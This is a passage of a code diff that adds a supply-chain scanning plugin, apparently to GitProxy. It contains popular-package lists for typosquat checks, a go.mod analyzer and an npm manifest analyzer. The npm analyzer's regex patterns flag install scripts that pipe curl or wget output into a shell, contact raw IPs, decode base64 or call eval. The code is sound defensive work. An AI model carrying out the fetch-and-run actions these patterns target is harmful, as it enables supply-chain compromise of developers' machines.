'github.com/golang-jwt/jwt', + 'github.com/dgrijalva/jwt-go', + 'github.com/go-sql-driver/mysql', + 'github.com/lib/pq', + 'github.com/jackc/pgx', + 'github.com/jmoiron/sqlx', + 'github.com/mattn/go-sqlite3', + 'gorm.io/gorm', + 'github.com/redis/go-redis', + 'github.com/go-redis/redis', + 'go.mongodb.org/mongo-driver', + 'github.com/aws/aws-sdk-go', + 'github.com/aws/aws-sdk-go-v2', + 'github.com/azure/azure-sdk-for-go', + 'k8s.io/client-go', + 'k8s.io/api', + 'k8s.io/apimachinery', + 'sigs.k8s.io/yaml', + 'gopkg.in/yaml', + 'gopkg.in/check', + 'github.com/prometheus/client_golang', + 'go.opentelemetry.io/otel', + 'github.com/grpc-ecosystem/grpc-gateway', + 'github.com/hashicorp/vault', + 'github.com/hashicorp/consul', + 'github.com/hashicorp/go-multierror', + 'github.com/hashicorp/hcl', + 'github.com/hashicorp/go-retryablehttp', + 'github.com/fsnotify/fsnotify', + 'github.com/joho/godotenv', + 'github.com/kelseyhightower/envconfig', + 'github.com/fatih/color', + 'github.com/cenkalti/backoff', + 'github.com/patrickmn/go-cache', + 'github.com/robfig/cron', + 'github.com/shopspring/decimal', + 'github.com/pelletier/go-toml', + 'github.com/burntsushi/toml', + 'github.com/klauspost/compress', + 'github.com/miekg/dns', + 'github.com/nats-io/nats.go', + 'github.com/segmentio/kafka-go', + 'github.com/go-playground/validator', + 'github.com/docker/docker', +]; diff --git a/plugins/git-proxy-plugin-supply-chain/lib/data/npm-popular.js b/plugins/git-proxy-plugin-supply-chain/lib/data/npm-popular.js new file mode 100644 index 000000000..1055a6a36 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/data/npm-popular.js @@ -0,0 +1,222 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * A curated list of highly-downloaded, unscoped npm package names (lowercase). Used as the + * reference set for typosquat detection: a newly-added dependency whose name is a tiny edit + * distance away from one of these - but not exactly equal - is flagged for review. + * + * This is intentionally a static, offline list. It is not exhaustive; extend it as needed. + * @type {string[]} + */ +export const NPM_POPULAR = [ + 'lodash', + 'react', + 'react-dom', + 'axios', + 'express', + 'chalk', + 'commander', + 'debug', + 'request', + 'moment', + 'async', + 'bluebird', + 'underscore', + 'webpack', + 'babel-core', + 'body-parser', + 'cross-env', + 'dotenv', + 'eslint', + 'prettier', + 'typescript', + 'rxjs', + 'redux', + 'vue', + 'jquery', + 'classnames', + 'uuid', + 'yargs', + 'colors', + 'mkdirp', + 'rimraf', + 'glob', + 'minimist', + 'semver', + 'inquirer', + 'node-fetch', + 'cheerio', + 'socket.io', + 'mongoose', + 'mongodb', + 'mysql', + 'pg', + 'sequelize', + 'passport', + 'jsonwebtoken', + 'bcrypt', + 'bcryptjs', + 'cors', + 'helmet', + 'morgan', + 'nodemon', + 'concurrently', + 'ora', + 'winston', + 'validator', + 'joi', + 'ajv', + 'ws', + 'ejs', + 'handlebars', + 'pug', + 'sass', + 'less', + 'postcss', + 'autoprefixer', + 'tailwindcss', + 'bootstrap', + 'jest', + 'mocha', + 'chai', + 'sinon', + 'nyc', + 'supertest', + 'karma', + 'jasmine', + 'enzyme', + 'gulp', + 'grunt', + 'browserify', + 'rollup', + 'vite', + 'esbuild', + 'parcel', + 'fs-extra', + 'graceful-fs', + 'chokidar', + 'through2', + 'readable-stream', + 'event-stream', + 'lodash.merge', + 'lodash.get', + 'object-assign', + 'core-js', + 'regenerator-runtime', + 'tslib', + 'prop-types', + 'react-router', + 'react-router-dom', + 'react-redux', + 'redux-thunk', + 'redux-saga', + 'styled-components', + 'material-ui', + 'antd', + 'formik', + 'yup', + 'immutable', + 'ramda', + 'date-fns', + 'dayjs', + 'luxon', + 'numeral', + 'qs', + 'query-string', + 'form-data', + 'follow-redirects', + 'agent-base', + 'https-proxy-agent', + 'http-proxy', + 'http-proxy-middleware', + 'connect', + 'serve-static', + 'compression', + 'cookie-parser', + 'cookie', + 'express-session', + 'multer', + 'formidable', + 'busboy', + 'archiver', + 'tar', + 'adm-zip', + 'jszip', + 'sharp', + 'jimp', + 'canvas', + 'puppeteer', + 'playwright', + 'selenium-webdriver', + 'nightmare', + 'aws-sdk', + 'firebase', + 'stripe', + 'twilio', + 'sendgrid', + 'nodemailer', + 'googleapis', + 'openai', + 'dotenv-expand', + 'cosmiconfig', + 'yaml', + 'js-yaml', + 'ini', + 'toml', + 'xml2js', + 'fast-xml-parser', + 'csv-parse', + 'papaparse', + 'protobufjs', + 'grpc', + 'graphql', + 'apollo-server', + 'apollo-client', + 'ioredis', + 'redis', + 'amqplib', + 'kafkajs', + 'bull', + 'agenda', + 'node-cron', + 'cron', + 'pino', + 'bunyan', + 'log4js', + 'signale', + 'boxen', + 'figlet', + 'cli-table', + 'cli-progress', + 'listr', + 'enquirer', + 'prompts', + 'shelljs', + 'execa', + 'cross-spawn', + 'which', + 'find-up', + 'globby', + 'del', + 'copyfiles', + 'ncp', + 'nanoid', + 'shortid', + 'faker', + 'chance', + 'lorem-ipsum', +]; diff --git a/plugins/git-proxy-plugin-supply-chain/lib/data/pypi-popular.js b/plugins/git-proxy-plugin-supply-chain/lib/data/pypi-popular.js new file mode 100644 index 000000000..e334fc7a9 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/data/pypi-popular.js @@ -0,0 +1,164 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * A curated list of highly-downloaded PyPI package names (lowercase, PEP 503 normalised with + * hyphens). Reference set for typosquat detection on Python dependencies. Not exhaustive. + * @type {string[]} + */ +export const PYPI_POPULAR = [ + 'requests', + 'urllib3', + 'setuptools', + 'six', + 'certifi', + 'idna', + 'charset-normalizer', + 'python-dateutil', + 'pyyaml', + 'numpy', + 'pandas', + 'boto3', + 'botocore', + 's3transfer', + 'wheel', + 'pip', + 'packaging', + 'jinja2', + 'markupsafe', + 'click', + 'flask', + 'django', + 'fastapi', + 'starlette', + 'pydantic', + 'sqlalchemy', + 'werkzeug', + 'aiohttp', + 'httpx', + 'httpcore', + 'anyio', + 'sniffio', + 'attrs', + 'pytz', + 'colorama', + 'tqdm', + 'rich', + 'typing-extensions', + 'cryptography', + 'cffi', + 'pycparser', + 'pyopenssl', + 'pyjwt', + 'oauthlib', + 'requests-oauthlib', + 'google-auth', + 'protobuf', + 'grpcio', + 'scipy', + 'scikit-learn', + 'matplotlib', + 'pillow', + 'opencv-python', + 'torch', + 'tensorflow', + 'keras', + 'transformers', + 'openai', + 'anthropic', + 'langchain', + 'redis', + 'pymongo', + 'psycopg2', + 'psycopg2-binary', + 'mysqlclient', + 'pymysql', + 'celery', + 'kombu', + 'amqp', + 'gunicorn', + 'uvicorn', + 'gevent', + 'greenlet', + 'lxml', + 'beautifulsoup4', + 'soupsieve', + 'html5lib', + 'scrapy', + 'selenium', + 'pytest', + 'pluggy', + 'coverage', + 'tox', + 'nox', + 'mock', + 'freezegun', + 'faker', + 'hypothesis', + 'black', + 'flake8', + 'pylint', + 'mypy', + 'isort', + 'ruff', + 'pre-commit', + 'bandit', + 'poetry', + 'pipenv', + 'virtualenv', + 'python-dotenv', + 'pyparsing', + 'toml', + 'tomli', + 'markdown', + 'docutils', + 'sphinx', + 'babel', + 'arrow', + 'pendulum', + 'humanize', + 'tabulate', + 'termcolor', + 'wrapt', + 'decorator', + 'more-itertools', + 'cachetools', + 'frozenlist', + 'multidict', + 'yarl', + 'aiosignal', + 'websockets', + 'paramiko', + 'fabric', + 'ansible', + 'jsonschema', + 'orjson', + 'ujson', + 'msgpack', + 'joblib', + 'threadpoolctl', + 'networkx', + 'sympy', + 'statsmodels', + 'seaborn', + 'plotly', + 'dash', + 'notebook', + 'jupyter', + 'ipython', + 'ipykernel', + 'traitlets', +]; diff --git a/plugins/git-proxy-plugin-supply-chain/lib/diff.js b/plugins/git-proxy-plugin-supply-chain/lib/diff.js new file mode 100644 index 000000000..fb316224d --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/diff.js @@ -0,0 +1,66 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import parseDiff from 'parse-diff'; + +import { classifyManifest } from './manifests.js'; + +/** + * @typedef {Object} ChangedManifest + * @property {string} path repo-relative path of the changed manifest/lockfile + * @property {string} ecosystem e.g. 'npm' + * @property {string} kind 'manifest' | 'lockfile' + * @property {boolean} deleted whether the file was deleted in this push + */ + +/** + * Parse a unified diff (as produced by the built-in `getDiff` step) and return the subset of + * changed files that are recognised dependency manifests/lockfiles. + * @param {string} diffText unified diff text + * @return {ChangedManifest[]} changed manifests (deduplicated by path) + */ +export function changedManifestFiles(diffText) { + if (!diffText || typeof diffText !== 'string') return []; + + let files; + try { + files = parseDiff(diffText); + } catch { + return []; + } + + const out = []; + const seen = new Set(); + for (const file of files) { + const to = file.to && file.to !== '/dev/null' ? file.to : null; + const from = file.from && file.from !== '/dev/null' ? file.from : null; + // Use the post-image path when present; fall back to the pre-image path for deletions. + const path = to || from; + if (!path || seen.has(path)) continue; + + const cls = classifyManifest(path); + if (!cls) continue; + + seen.add(path); + out.push({ + path, + ecosystem: cls.ecosystem, + kind: cls.kind, + deleted: file.deleted === true || (!to && !!from), + }); + } + return out; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/go.js b/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/go.js new file mode 100644 index 000000000..644392761 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/go.js @@ -0,0 +1,537 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { GO_POPULAR } from '../data/go-popular.js'; +import { finding } from '../findings.js'; +import { SEVERITY } from '../severity.js'; +import { levenshtein } from '../typosquat.js'; + +const GO_SET = new Set(GO_POPULAR.map((n) => n.toLowerCase())); +const GO_RECORDS = GO_POPULAR.map((module) => { + const [host, ...tailParts] = module.split('/'); + return { module, host, tail: tailParts.join('/') }; +}); + +/** + * Analyze a changed Go dependency file for supply-chain signatures. + * @param {{path: string, kind: string, oldContent: ?string, newContent: ?string, config: object}} input file + config + * @return {import('../findings.js').Finding[]} findings + */ +export function analyzeGo({ path, kind, oldContent, newContent, config }) { + if (newContent == null) return []; + const base = path.replace(/\\/g, '/').split('/').pop().toLowerCase(); + + if (base === 'go.sum' || kind === 'lockfile') return analyzeGoSum(path, oldContent, newContent); + if (base === 'go.mod') return analyzeGoMod(path, oldContent, newContent, config); + return []; +} + +/** + * Collapse whitespace, join arrays for display, and cap length. + * @param {*|*[]} items value or list of values to truncate + * @param {number} maxLen max length + * @return {string} truncated display text + */ +function truncate(items, maxLen) { + const s = (Array.isArray(items) ? items.join(', ') : String(items)).replace(/\s+/g, ' ').trim(); + return s.length > maxLen ? `${s.slice(0, Math.max(0, maxLen - 3))}...` : s; +} + +/** + * Lines present in the new content but not the old (trimmed, non-empty). + * @param {?string} oldText previous content + * @param {string} newText new content + * @return {string[]} newly added lines + */ +function addedLines(oldText, newText) { + const oldSet = new Set((oldText || '').split(/\r?\n/).map((l) => l.trim())); + return newText + .split(/\r?\n/) + .map((l) => l.trim()) + .filter((l) => l && !oldSet.has(l)); +} + +/** + * @param {string} path go.mod path + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @param {object} config resolved config + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeGoMod(path, oldContent, newContent, config) { + const findings = []; + const prev = parseGoMod(oldContent); + const next = parseGoMod(newContent); + + const oldRequires = new Set(prev.requires.map(requireKey)); + const oldRequireModules = new Set(prev.requires.map((r) => r.module)); + const oldReplaces = new Set(prev.replaces.map(replaceKey)); + const oldExcludes = new Set(prev.excludes.map(requireKey)); + const suspiciousModules = new Set(); + const newModules = []; + const newModuleSet = new Set(); + + for (const req of next.requires) { + const isChangedEntry = !oldRequires.has(requireKey(req)); + const isNewModule = !oldRequireModules.has(req.module); + + if (isChangedEntry) { + addSuspiciousModuleFinding(findings, suspiciousModules, path, req.module); + } + + if (!isNewModule) continue; + if (!newModuleSet.has(req.module)) { + newModuleSet.add(req.module); + newModules.push(req.module); + } + + if (/-\d{14}-[0-9a-f]{12}$/i.test(req.version)) { + findings.push( + finding({ + severity: SEVERITY.LOW, + ecosystem: 'go', + rule: 'go-pseudo-version', + file: path, + title: 'Pseudo-version detected', + detail: `require ${req.module} ${req.version}`, + }), + ); + } + + if (/\+incompatible$/i.test(req.version)) { + findings.push( + finding({ + severity: SEVERITY.INFO, + ecosystem: 'go', + rule: 'go-incompatible-version', + file: path, + title: '+incompatible version detected', + detail: `require ${req.module} ${req.version}`, + }), + ); + } + + if (config.typosquat) { + const near = nearestPopularGo(req.module, config.allowPackages); + if (near) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'go', + rule: 'typosquat', + file: path, + title: `new module "${req.module}" closely resembles the popular module "${near}"`, + detail: `Consider: ${near}`, + }), + ); + } + } + } + + for (const replace of next.replaces) { + if (oldReplaces.has(replaceKey(replace))) continue; + + addSuspiciousModuleFinding(findings, suspiciousModules, path, replace.oldPath); + if (replace.newVersion && !isLocalPath(replace.newPath)) { + addSuspiciousModuleFinding(findings, suspiciousModules, path, replace.newPath); + } + + if (isLocalReplace(replace)) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'go', + rule: 'go-replace-local', + file: path, + title: 'Local filesystem replace detected', + detail: `${formatReplaceSide(replace.oldPath, replace.oldVersion)} -> ${formatReplaceSide( + replace.newPath, + replace.newVersion, + )}`, + }), + ); + } else if (replace.newPath !== replace.oldPath) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'go', + rule: 'go-replace-remote', + file: path, + title: 'Replace redirects to different module', + detail: `${formatReplaceSide(replace.oldPath, replace.oldVersion)} -> ${formatReplaceSide( + replace.newPath, + replace.newVersion, + )}`, + }), + ); + } + } + + if (next.toolchain && next.toolchain !== prev.toolchain) { + const added = !prev.toolchain; + findings.push( + finding({ + severity: oldContent == null ? SEVERITY.INFO : SEVERITY.MEDIUM, + ecosystem: 'go', + rule: 'go-toolchain', + file: path, + title: added ? 'Toolchain added' : 'Toolchain changed', + detail: added ? `toolchain ${next.toolchain}` : `${prev.toolchain} -> ${next.toolchain}`, + }), + ); + } + + for (const exclude of next.excludes) { + if (oldExcludes.has(requireKey(exclude))) continue; + findings.push( + finding({ + severity: SEVERITY.INFO, + ecosystem: 'go', + rule: 'go-exclude', + file: path, + title: 'Module excluded', + detail: `exclude ${exclude.module} ${exclude.version}`, + }), + ); + } + + if (newModules.length > 0) { + findings.push( + finding({ + severity: SEVERITY.INFO, + ecosystem: 'go', + rule: 'go-new-modules', + file: path, + title: `${newModules.length} new module(s) added`, + detail: truncate(newModules, 300), + }), + ); + } + + return findings; +} + +/** + * @param {string} path go.sum path + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeGoSum(path, oldContent, newContent) { + const findings = []; + + for (const line of addedLines(oldContent, newContent)) { + const parts = line.split(/\s+/); + if (parts.length < 3) continue; + const module = parts[0]; + const suspicious = suspiciousModule(module); + if (!suspicious) continue; + findings.push( + finding({ + severity: suspicious.severity, + ecosystem: 'go', + rule: 'go-sum-suspicious-host', + file: path, + title: 'Suspicious module in lockfile', + detail: `${module}: ${suspicious.why}`, + }), + ); + } + + return findings; +} + +/** + * @typedef {{requires: {module: string, version: string}[], replaces: {oldPath: string, oldVersion: ?string, newPath: string, newVersion: ?string}[], excludes: {module: string, version: string}[], toolchain: ?string}} ParsedGoMod + */ + +/** + * Parse go.mod directives with a small state machine. + * @param {?string} content go.mod text + * @return {ParsedGoMod} parsed directives + */ +function parseGoMod(content) { + const parsed = { requires: [], replaces: [], excludes: [], toolchain: null }; + if (content == null) return parsed; + + let state = null; + for (const raw of String(content).split(/\r?\n/)) { + const line = raw.split('//')[0].trim(); + if (!line) continue; + + const block = line.match(/^(require|replace|exclude|retract|tool|godebug|ignore)\s*\($/); + if (block) { + state = block[1]; + continue; + } + + if (/^\)$/.test(line)) { + state = null; + continue; + } + + if (state) { + parseBlockLine(parsed, state, line); + continue; + } + + const m = line.match(/^(\S+)(?:\s+(.*))?$/); + if (!m) continue; + const directive = m[1]; + const body = m[2] || ''; + if (directive === 'require') addRequire(parsed, body); + else if (directive === 'replace') addReplace(parsed, body); + else if (directive === 'exclude') addExclude(parsed, body); + else if (directive === 'toolchain') { + const token = body.split(/\s+/)[0]; + if (token) parsed.toolchain = stripModuleToken(token); + } + } + + return parsed; +} + +/** + * @param {ParsedGoMod} parsed parsed go.mod + * @param {string} state current block directive + * @param {string} line block line + * @return {void} + */ +function parseBlockLine(parsed, state, line) { + if (state === 'require') addRequire(parsed, line); + else if (state === 'replace') addReplace(parsed, line); + else if (state === 'exclude') addExclude(parsed, line); +} + +/** + * @param {ParsedGoMod} parsed parsed go.mod + * @param {string} body directive body + * @return {void} + */ +function addRequire(parsed, body) { + const entry = parseModuleVersion(body); + if (!entry.path || !entry.version) return; + parsed.requires.push({ module: entry.path, version: entry.version }); +} + +/** + * @param {ParsedGoMod} parsed parsed go.mod + * @param {string} body directive body + * @return {void} + */ +function addExclude(parsed, body) { + const entry = parseModuleVersion(body); + if (!entry.path || !entry.version) return; + parsed.excludes.push({ module: entry.path, version: entry.version }); +} + +/** + * @param {ParsedGoMod} parsed parsed go.mod + * @param {string} body directive body + * @return {void} + */ +function addReplace(parsed, body) { + const replace = parseReplace(body); + if (replace) parsed.replaces.push(replace); +} + +/** + * @param {string} body module path plus optional version + * @return {{path: string, version: ?string}} parsed side + */ +function parseModuleVersion(body) { + const parts = String(body || '') + .trim() + .split(/\s+/) + .filter(Boolean); + if (parts.length === 0) return { path: '', version: null }; + return { + path: stripModuleToken(parts[0]), + version: parts[1] ? stripModuleToken(parts[1]) : null, + }; +} + +/** + * @param {string} body replace directive body + * @return {{oldPath: string, oldVersion: ?string, newPath: string, newVersion: ?string} | null} parsed replace + */ +function parseReplace(body) { + const sides = String(body || '').split(/\s*=>\s*/); + if (sides.length !== 2 || !sides[0].trim() || !sides[1].trim()) return null; + const lhs = parseModuleVersion(sides[0]); + const rhs = parseModuleVersion(sides[1]); + if (!lhs.path || !rhs.path) return null; + return { + oldPath: lhs.path, + oldVersion: lhs.version, + newPath: rhs.path, + newVersion: rhs.version, + }; +} + +/** + * @param {string} token module token + * @return {string} token without Go quoting delimiters + */ +function stripModuleToken(token) { + if (!token || token.length < 2) return token || ''; + const first = token[0]; + const last = token[token.length - 1]; + if ((first === '"' && last === '"') || (first === '`' && last === '`')) { + return token.slice(1, -1); + } + return token; +} + +/** + * @param {{module: string, version: string}} req require or exclude entry + * @return {string} canonical key + */ +function requireKey(req) { + return `${req.module}@${req.version}`; +} + +/** + * @param {{oldPath: string, newPath: string, newVersion: ?string}} replace replace entry + * @return {string} canonical key + */ +function replaceKey(replace) { + return `${replace.oldPath}=>${replace.newPath}@${replace.newVersion || ''}`; +} + +/** + * @param {string} path module or filesystem path + * @return {boolean} true when path is local filesystem-like + */ +function isLocalPath(path) { + return /^(\.{1,2}[\\/]|[\\/]|[A-Za-z]:[\\/])/.test(path); +} + +/** + * @param {{newPath: string, newVersion: ?string}} replace replace entry + * @return {boolean} true when replace target resolves to local filesystem + */ +function isLocalReplace(replace) { + return isLocalPath(replace.newPath) || !replace.newVersion; +} + +/** + * @param {string} module module path + * @param {?string} version optional version + * @return {string} display text + */ +function formatReplaceSide(module, version) { + return version ? `${module} ${version}` : module; +} + +/** + * @param {import('../findings.js').Finding[]} findings sink + * @param {Set} seenModules modules already reported + * @param {string} path file path + * @param {string} module module path + * @return {void} + */ +function addSuspiciousModuleFinding(findings, seenModules, path, module) { + const key = String(module || '').toLowerCase(); + if (!key || seenModules.has(key)) return; + const suspicious = suspiciousModule(module); + if (!suspicious) return; + seenModules.add(key); + findings.push( + finding({ + severity: suspicious.severity, + ecosystem: 'go', + rule: 'go-suspicious-host', + file: path, + title: 'Suspicious module host', + detail: `${module}: ${suspicious.why}`, + }), + ); +} + +/** + * @param {string} module module path + * @return {{severity: string, why: string} | null} suspicious host classification + */ +function suspiciousModule(module) { + if (!module || typeof module !== 'string') return null; + const lower = module.toLowerCase(); + const host = lower.split('/')[0]; + + if (/^\d{1,3}(\.\d{1,3}){3}(:\d+)?$/.test(host)) { + return { severity: SEVERITY.CRITICAL, why: 'raw IPv4 host' }; + } + if (/^localhost(?::\d+)?$/.test(host)) { + return { severity: SEVERITY.HIGH, why: 'localhost host' }; + } + if (lower.includes('http://')) { + return { severity: SEVERITY.HIGH, why: 'plain http module path' }; + } + return null; +} + +/** + * Typosquat check against the popular Go module list. + * @param {string} name candidate module path + * @param {string[]} [allow] module paths to never flag + * @return {string | null} the popular module being impersonated, or null + */ +export function nearestPopularGo(name, allow = []) { + if (!name || typeof name !== 'string') return null; + const lower = name.toLowerCase(); + const allowSet = new Set((Array.isArray(allow) ? allow : []).map((n) => String(n).toLowerCase())); + if (allow.includes(name) || allowSet.has(lower)) return null; + + const normalized = normalizeGoModule(lower); + if (GO_SET.has(normalized)) return null; + + const [host, ...tailParts] = normalized.split('/'); + const tail = tailParts.join('/'); + if (!host || tail.length < 4) return null; + + for (const pop of GO_RECORDS) { + if (pop.tail === tail && pop.host !== host && levenshtein(host, pop.host) <= 2) { + return pop.module; + } + } + + const threshold = tail.length >= 6 ? 2 : 1; + let best = null; + let bestDist = Infinity; + for (const pop of GO_RECORDS) { + if (pop.host !== host) continue; + const d = levenshtein(tail, pop.tail); + if (d > 0 && d <= threshold && d < bestDist) { + best = pop.module; + bestDist = d; + } + } + + return best; +} + +/** + * @param {string} name lowercase Go module path + * @return {string} normalized path for popular-list comparison + */ +function normalizeGoModule(name) { + let normalized = String(name || '') + .trim() + .replace(/\/v\d+$/, ''); + const [host] = normalized.split('/'); + if (host === 'gopkg.in') normalized = normalized.replace(/\.v\d+$/, ''); + return normalized; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/npm.js b/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/npm.js new file mode 100644 index 000000000..c1dde7b75 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/npm.js @@ -0,0 +1,467 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { finding } from '../findings.js'; +import { SEVERITY } from '../severity.js'; +import { nearestPopular } from '../typosquat.js'; + +// Scripts that npm executes automatically during `npm install` - the primary code-execution +// vector for supply-chain attacks. +const INSTALL_HOOKS = ['preinstall', 'install', 'postinstall', 'prepare']; +// Other lifecycle scripts that run arbitrary code but not during a plain `npm install`. +const OTHER_LIFECYCLE = [ + 'preuninstall', + 'postuninstall', + 'prepublish', + 'prepublishonly', + 'prepack', + 'postpack', +]; +const LIFECYCLE = new Set([...INSTALL_HOOKS, ...OTHER_LIFECYCLE]); + +const DEP_FIELDS = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']; + +// Ordered most-specific -> least; the first matching pattern supplies the "why". +const DANGEROUS_SCRIPT_PATTERNS = [ + { + re: /(?:curl|wget|fetch)\b[^\n]*?\|\s*(?:sh|bash|zsh|node|python[0-9.]*)\b/i, + why: 'pipes a downloaded payload straight into a shell/interpreter', + }, + { re: /(?:https?:\/\/)?\b\d{1,3}(?:\.\d{1,3}){3}\b/, why: 'references a raw IP address' }, + { re: /\bbase64\b[^\n]*?(?:-d|--decode)\b/i, why: 'decodes base64 (possible obfuscation)' }, + { re: /\beval\s*\(/i, why: 'calls eval()' }, + { re: /\bnode\s+(?:-e|--eval)\b/i, why: 'executes inline code via node -e/--eval' }, + { re: /child_process/i, why: 'spawns child processes' }, + { re: /(?:\bcurl\b|\bwget\b|https?:\/\/)/i, why: 'performs network access during install' }, +]; + +/** + * Analyze a changed npm file for supply-chain signatures. + * @param {{path: string, kind: string, oldContent: ?string, newContent: ?string, config: object}} input file + config + * @return {import('../findings.js').Finding[]} findings + */ +export function analyzeNpm(input) { + if (input.kind === 'lockfile') return analyzeNpmLockfile(input); + return analyzeNpmManifest(input); +} + +/** + * Detect the first dangerous pattern in a script string. + * @param {string} script script command + * @return {?string} reason, or null + */ +function detectDangerous(script) { + for (const p of DANGEROUS_SCRIPT_PATTERNS) { + if (p.re.test(script)) return p.why; + } + return null; +} + +/** + * Collapse whitespace and cap length for display in findings. + * @param {*} str value to truncate + * @param {number} [n] max length + * @return {string} truncated string + */ +function truncate(str, n = 200) { + const s = String(str).replace(/\s+/g, ' ').trim(); + return s.length > n ? `${s.slice(0, n)}…` : s; +} + +/** + * Parse JSON, distinguishing "absent" (undefined) from "present but invalid" (null). + * @param {?string} content file content + * @return {*} parsed value, null when invalid, undefined when absent + */ +function parseJson(content) { + if (content == null) return undefined; + try { + return JSON.parse(content); + } catch { + return null; + } +} + +/** + * Classify a package.json dependency version spec by its source. + * @param {*} spec version spec + * @return {{type: 'registry'|'git'|'url'|'file'|'alias'|'workspace'}} classification + */ +function classifySpec(spec) { + if (typeof spec !== 'string') return { type: 'registry' }; + const s = spec.trim(); + if (/^(git\+|git:|github:|gitlab:|bitbucket:|gist:)/i.test(s)) return { type: 'git' }; + if (/^ssh:\/\//i.test(s)) return { type: 'git' }; + // scp-like SSH shorthand npm resolves via hosted-git-info, e.g. git@github.com:owner/repo.git + if (/^[\w.+-]+@[\w.-]+:[^\s]/.test(s)) return { type: 'git' }; + if (/^https?:\/\//i.test(s)) return { type: 'url' }; + if (/^(file:|link:|portal:)/i.test(s)) return { type: 'file' }; + if (/^(\.{1,2}\/|\/)/.test(s)) return { type: 'file' }; // local path + if (/^npm:/i.test(s)) return { type: 'alias' }; + if (/^workspace:/i.test(s)) return { type: 'workspace' }; + // GitHub shorthand: "user/repo" or "user/repo#ref" (but not a semver range). + if (/^[\w.-]+\/[\w.-]+(#.+)?$/.test(s) && !/^[\d^~<>=]/.test(s)) return { type: 'git' }; + return { type: 'registry' }; +} + +const LOOSE_SPECS = new Set(['*', '', 'x', 'latest']); + +/** + * Whether a version spec is effectively unpinned (accepts arbitrary future versions). + * @param {*} spec version spec + * @return {boolean} true when loose/wildcard + */ +function isLooseSpec(spec) { + if (typeof spec !== 'string') return false; + const s = spec.trim().toLowerCase(); + return LOOSE_SPECS.has(s) || /^>=?\s*0(?:\.0)*$/.test(s); +} + +/** + * @param {object} obj possibly-undefined object + * @return {boolean} true when a plain object + */ +function isObject(obj) { + return !!obj && typeof obj === 'object' && !Array.isArray(obj); +} + +/** + * @param {{path: string, oldContent: ?string, newContent: ?string, config: object}} input manifest input + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeNpmManifest({ path, oldContent, newContent, config }) { + const findings = []; + + const next = parseJson(newContent); + if (next === null) { + findings.push( + finding({ + severity: SEVERITY.LOW, + ecosystem: 'npm', + rule: 'unparseable-manifest', + file: path, + title: 'package.json could not be parsed as JSON', + }), + ); + return findings; + } + if (!isObject(next)) return findings; + + const parsedPrev = parseJson(oldContent); + const prev = isObject(parsedPrev) ? parsedPrev : {}; + + analyzeScripts( + findings, + path, + isObject(prev.scripts) ? prev.scripts : {}, + isObject(next.scripts) ? next.scripts : {}, + ); + analyzeDependencies(findings, path, prev, next, config); + analyzeOverrides(findings, path, prev, next); + return findings; +} + +// Manifest fields that can force a (possibly transitive) dependency to a specific source: +// yarn `resolutions`, npm/pnpm `overrides`, and pnpm's `pnpm.overrides`. +const OVERRIDE_ROOTS = [ + { label: 'resolutions', get: (pkg) => pkg.resolutions }, + { label: 'overrides', get: (pkg) => pkg.overrides }, + { label: 'pnpm.overrides', get: (pkg) => (isObject(pkg.pnpm) ? pkg.pnpm.overrides : undefined) }, +]; + +/** + * Flatten an overrides/resolutions tree into `{ keyPath: spec }` string leaves. npm `overrides` + * values may be nested objects (with '.' meaning the package's own version), so this recurses. + * @param 